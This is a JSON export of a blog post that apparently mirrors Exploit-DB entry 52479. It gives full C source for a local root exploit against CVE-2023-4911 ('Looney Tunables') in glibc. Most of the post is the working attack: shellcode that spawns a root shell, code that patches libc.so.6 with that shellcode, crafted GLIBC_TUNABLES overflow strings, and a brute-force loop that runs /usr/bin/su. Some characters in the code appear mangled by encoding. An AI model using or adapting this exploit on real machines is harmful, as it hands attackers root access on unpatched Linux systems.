{"id":40347,"date":"2026-02-11T05:41:36","date_gmt":"2026-02-11T05:41:36","guid":{"rendered":"http:\/\/localhost\/?p=40347"},"modified":"2026-02-11T05:41:36","modified_gmt":"2026-02-11T05:41:36","slug":"glibc-238-buffer-overflow","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=40347","title":{"rendered":"glibc 2.38 – Buffer Overflow_EDB-ID:52479"},"content":{"rendered":"

{“lastseen”:”2026-02-11T11:28:26″,”description”:”Exploit Title: glibc 2.38 – Buffer Overflow Google Dork: N\/A Date: 2025-10-08 Exploit Author: Beatriz Fresno Naumova Vendor Homepage: https:\/\/www.gnu.org\/software\/libc\/ Software Link: https:\/\/ftp.gnu.org\/gnu\/libc\/glibc-2.35.tar.gz Version: glibc 2.35…”,”published”:”2026-02-11T00:00:00″,”modified”:”2026-02-11T00:00:00″,”type”:”exploitdb”,”title”:”glibc 2.38 – Buffer Overflow”,”source”:””,”references”:””,”id”:”EDB-ID:52479″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2023-4911″],”sourceData”:”# Exploit Title: glibc 2.38 – Buffer Overflow \\r\\n# Google Dork: N\/A\\r\\n# Date: 2025-10-08\\r\\n# Exploit Author: Beatriz Fresno Naumova\\r\\n# Vendor Homepage: https:\/\/www.gnu.org\/software\/libc\/\\r\\n# Software Link: https:\/\/ftp.gnu.org\/gnu\/libc\/glibc-2.35.tar.gz\\r\\n# Version: glibc 2.35 (specifically 2.35-0ubuntu3.3 on Ubuntu 22.04.3 LTS)\\r\\n# Tested on: Ubuntu 22.04.3 LTS (glibc 2.35-0ubuntu3.3)\\r\\n# CVE : CVE-2023-4911\\r\\n\\r\\n# Description:\\r\\nLooney Tunables – glibc GLIBC_TUNABLES Environment Variable Buffer Overflow \\r\\n# This is a local privilege escalation exploit for CVE-2023-4911, also known as\\r\\n# \\”Looney Tunables\\”, caused by a buffer overflow in the glibc dynamic loader’s\\r\\n# environment variable parsing logic. The vulnerability is triggered by crafting\\r\\n# a maliciously long GLIBC_TUNABLES string which corrupts internal loader state,\\r\\n# allowing control over DT_RPATH and arbitrary shared object loading.\\r\\n#\\r\\n# This PoC creates a patched version of libc.so.6 with embedded shellcode and\\r\\n# abuses the loader to execute arbitrary code as root by invoking \/usr\/bin\/su\\r\\n# with a malicious environment.\\r\\n#\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n#define _GNU_SOURCE\\r\\n#include \\u003cstdio.h\\u003e\\r\\n#include \\u003cstdlib.h\\u003e\\r\\n#include \\u003cstring.h\\u003e\\r\\n#include \\u003cstdint.h\\u003e\\r\\n#include \\u003cunistd.h\\u003e\\r\\n#include \\u003cerrno.h\\u003e\\r\\n#include \\u003cfcntl.h\\u003e\\r\\n#include \\u003ctime.h\\u003e\\r\\n#include \\u003csys\/stat.h\\u003e\\r\\n#include \\u003csys\/types.h\\u003e\\r\\n#include \\u003csys\/resource.h\\u003e\\r\\n#include \\u003csys\/wait.h\\u003e\\r\\n#include \\u003celf.h\\u003e\\r\\n\\r\\n#define FILL_SIZE 0xd00\\r\\n#define BOF_SIZE 0x600\\r\\n#define MAX_ENVP 0x1000\\r\\n\\r\\n\/\/ shellcode generado con pwntools\\r\\nconst unsigned char shellcode[] = {\\r\\n 0x48, 0x31, 0xff, \/\/ xor rdi,rdi\\r\\n 0x6a, 0x69, \/\/ push 0x69 ; syscall setuid\\r\\n 0x58, \/\/ pop rax\\r\\n 0x0f, 0x05, \/\/ syscall\\r\\n 0x48, 0x31, 0xff, \/\/ xor rdi,rdi\\r\\n 0x6a, 0x6a, \/\/ push 0x6a ; syscall setgid\\r\\n 0x58, \/\/ pop rax\\r\\n 0x0f, 0x05, \/\/ syscall\\r\\n 0x48, 0x31, 0xd2, \/\/ xor rdx, rdx\\r\\n 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, \\r\\n 0x2f, 0x73, 0x68, 0x00, \/\/ mov rbx, \\”\/bin\/sh\\”\\r\\n 0x53, \/\/ push rbx\\r\\n 0x48, 0x89, 0xe7, \/\/ mov rdi, rsp\\r\\n 0x50, \/\/ push rax\\r\\n 0x57, \/\/ push rdi\\r\\n 0x48, 0x89, 0xe6, \/\/ mov rsi, rsp\\r\\n 0xb0, 0x3b, \/\/ mov al, 0x3b\\r\\n 0x0f, 0x05 \/\/ syscall\\r\\n};\\r\\n\\r\\nint64_t time_us() {\\r\\n struct timespec tms;\\r\\n if (clock_gettime(CLOCK_REALTIME, \\u0026tms)) return -1;\\r\\n int64_t micros = tms.tv_sec * 1000000;\\r\\n micros += tms.tv_nsec \/ 1000;\\r\\n if (tms.tv_nsec % 1000 \\u003e= 500) ++micros;\\r\\n return micros;\\r\\n}\\r\\n\\r\\nvoid patch_libc() {\\r\\n FILE *f = fopen(\\”\/lib\/x86_64-linux-gnu\/libc.so.6\\”, \\”rb\\”);\\r\\n if (!f) { perror(\\”fopen\\”); exit(1); }\\r\\n\\r\\n fseek(f, 0, SEEK_END);\\r\\n long size = ftell(f);\\r\\n rewind(f);\\r\\n\\r\\n unsigned char *data = malloc(size);\\r\\n if (fread(data, 1, size, f) != size) {\\r\\n perror(\\”fread\\”);\\r\\n exit(1);\\r\\n }\\r\\n fclose(f);\\r\\n\\r\\n Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data;\\r\\n Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr-\\u003ee_shoff);\\r\\n Elf64_Sym *symtab = NULL;\\r\\n char *strtab = NULL;\\r\\n\\r\\n for (int i = 0; i \\u003c ehdr-\\u003ee_shnum; ++i) {\\r\\n if (shdr[i].sh_type == SHT_SYMTAB) {\\r\\n symtab = (Elf64_Sym *)(data + shdr[i].sh_offset);\\r\\n strtab = (char *)(data + shdr[shdr[i].sh_link].sh_offset);\\r\\n break;\\r\\n }\\r\\n }\\r\\n\\r\\n if (!symtab || !strtab) {\\r\\n fprintf(stderr, \\”[-] Failed to find symtab\\\\n\\”);\\r\\n exit(1);\\r\\n }\\r\\n\\r\\n Elf64_Addr target_addr = 0;\\r\\n for (int i = 0; i \\u003c shdr-\\u003esh_size \/ sizeof(Elf64_Sym); ++i) {\\r\\n if (strcmp(\\u0026strtab[symtab[i].st_name], \\”__libc_start_main\\”) == 0) {\\r\\n target_addr = symtab[i].st_value;\\r\\n break;\\r\\n }\\r\\n }\\r\\n\\r\\n if (!target_addr) {\\r\\n fprintf(stderr, \\”[-] Could not find __libc_start_main\\\\n\\”);\\r\\n exit(1);\\r\\n }\\r\\n\\r\\n \/\/ patch shellcode at the symbol location\\r\\n memcpy(data + target_addr, shellcode, sizeof(shellcode));\\r\\n\\r\\n f = fopen(\\”.\/libc.so.6\\”, \\”wb\\”);\\r\\n if (!f) { perror(\\”fopen (write)\\”); exit(1); }\\r\\n fwrite(data, 1, size, f);\\r\\n fclose(f);\\r\\n\\r\\n free(data);\\r\\n printf(\\”[+] Patched libc.so.6 written.\\\\n\\”);\\r\\n}\\r\\n\\r\\nint main(void) {\\r\\n char filler[FILL_SIZE], kv[BOF_SIZE], filler2[BOF_SIZE + 0x20], dt_rpath[0x20000];\\r\\n char *argv[] = {\\”\/usr\/bin\/su\\”, \\”–help\\”, NULL};\\r\\n char *envp[MAX_ENVP] = { NULL };\\r\\n\\r\\n \/\/ Create directory and patched libc if not present\\r\\n if (mkdir(\\”\\\\\\”\\”, 0755) == 0) {\\r\\n patch_libc();\\r\\n int sfd = open(\\”.\/libc.so.6\\”, O_RDONLY);\\r\\n int dfd = open(\\”\\\\\\”\/libc.so.6\\”, O_CREAT | O_WRONLY, 0755);\\r\\n char buf[0x1000];\\r\\n int len;\\r\\n while ((len = read(sfd, buf, sizeof(buf))) \\u003e 0) {\\r\\n write(dfd, buf, len);\\r\\n }\\r\\n close(sfd); close(dfd);\\r\\n }\\r\\n\\r\\n memset(filler, ‘F’, sizeof(filler)); filler[sizeof(filler)-1] = ‘\\\\0’;\\r\\n strcpy(filler, \\”GLIBC_TUNABLES=glibc.malloc.mxfast=\\”);\\r\\n\\r\\n memset(kv, ‘A’, sizeof(kv)); kv[sizeof(kv)-1] = ‘\\\\0’;\\r\\n strcpy(kv, \\”GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=\\”);\\r\\n\\r\\n memset(filler2, ‘F’, sizeof(filler2)); filler2[sizeof(filler2)-1] = ‘\\\\0’;\\r\\n strcpy(filler2, \\”GLIBC_TUNABLES=glibc.malloc.mxfast=\\”);\\r\\n\\r\\n for (int i = 0; i \\u003c MAX_ENVP; i++) envp[i] = \\”\\”;\\r\\n envp[0] = filler;\\r\\n envp[1] = kv;\\r\\n envp[0x65] = \\”\\”;\\r\\n envp[0x65 + 0xb8] = \\”\\\\x30\\\\xf0\\\\xff\\\\xff\\\\xfd\\\\x7f\\”;\\r\\n envp[0xf7f] = filler2;\\r\\n\\r\\n for (int i = 0; i \\u003c sizeof(dt_rpath); i += 8) {\\r\\n *(uintptr_t *)(dt_rpath + i) = -0x14ULL;\\r\\n }\\r\\n dt_rpath[sizeof(dt_rpath) – 1] = ‘\\\\0’;\\r\\n for (int i = 0; i \\u003c 0x2f; i++) {\\r\\n envp[0xf80 + i] = dt_rpath;\\r\\n }\\r\\n envp[0xffe] = \\”AAAA\\”;\\r\\n\\r\\n setrlimit(RLIMIT_STACK, \\u0026(struct rlimit){RLIM_INFINITY, RLIM_INFINITY});\\r\\n\\r\\n int pid;\\r\\n for (int ct = 1;; ct++) {\\r\\n if (ct % 100 == 0) printf(\\”try %d\\\\n\\”, ct);\\r\\n\\r\\n if ((pid = fork()) \\u003c 0) {\\r\\n perror(\\”fork\\”); break;\\r\\n } else if (pid == 0) {\\r\\n execve(argv[0], argv, envp);\\r\\n perror(\\”execve (child)\\”); exit(1);\\r\\n } else {\\r\\n int wstatus;\\r\\n int64_t st = time_us(), en;\\r\\n wait(\\u0026wstatus);\\r\\n en = time_us();\\r\\n\\r\\n if (!WIFSIGNALED(wstatus) \\u0026\\u0026 en – st \\u003e 1000000) {\\r\\n printf(\\”[+] Exploit likely succeeded!\\\\n\\”);\\r\\n break;\\r\\n }\\r\\n }\\r\\n }\\r\\n\\r\\n return 0;\\r\\n}”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52479″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52479″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"

{“lastseen”:”2026-02-11T11:28:26″,”description”:”Exploit Title: glibc 2.38 – Buffer Overflow Google Dork: N\/A Date: 2025-10-08 Exploit Author: Beatriz Fresno Naumova Vendor Homepage: https:\/\/www.gnu.org\/software\/libc\/ Software Link: https:\/\/ftp.gnu.org\/gnu\/libc\/glibc-2.35.tar.gz Version: glibc…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,40,15,13,7,11,5],"class_list":["post-40347","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\nglibc 2.38 - Buffer Overflow_EDB-ID:52479 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=40347\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"glibc 2.38 - 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